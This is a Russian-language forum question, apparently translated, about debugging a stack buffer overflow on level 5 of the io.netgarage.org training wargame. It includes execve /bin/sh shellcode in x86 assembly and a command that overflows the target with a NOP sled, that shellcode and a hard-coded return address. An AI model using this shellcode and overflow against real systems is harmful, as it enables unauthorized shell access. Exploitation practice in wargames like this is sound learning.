Segfault полезной нагрузки Wargame при использовании как таковой

В настоящее время я пытаюсь пройти уровень 5 варгейма io.netgarage.org. Для завершения я написал следующую полезную нагрузку asm:

global _start

section .text
_start:
    xor eax, eax
    push eax
    push 0x68732f6e
    push 0x69622f2f
    mov ebx, esp

    push eax
    mov edx, esp

    push ebx
    mov ecx, esp

    mov al, 11
    int 0x80

который должен порождать оболочку путем вызова sys_execve, и это так. Но только до тех пор, пока я не использую его в качестве полезной нагрузки.
Как только я пытаюсь передать его в уязвимую программу c, я получаю segfaults. Изучив его с помощью GDB, я смог закрепить ошибку на линии

mov edx, esp

Все, что должно было произойти до этого (перезаписать адрес возврата, NOP-Sled), фактически работает как намерение.

Дополнительная информация:
- Я добираюсь до OP-кодов, компилируя выше код asm с

nasm -f elf32 file.asm -o file.o
objdump -d file.o

- Я называю уязвимую программу следующим образом:

/levels/level05 $(python -c 'print "\x90"*115 + "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" + "\xa0\xfb\xff\xbf"')

- Обратный адрес 0xbffffba0, который я получил, проверив значения стека с помощью gdb. - Мое текущее предположение состоит в том, что он должен что-то делать со стеком, потому что использование сценария, который я нашел в Интернете, с использованием шаблона jmp-call-pop, сработало, по-видимому, правильно

Спасибо,
tarkes

0 ответов

Другие вопросы по тегам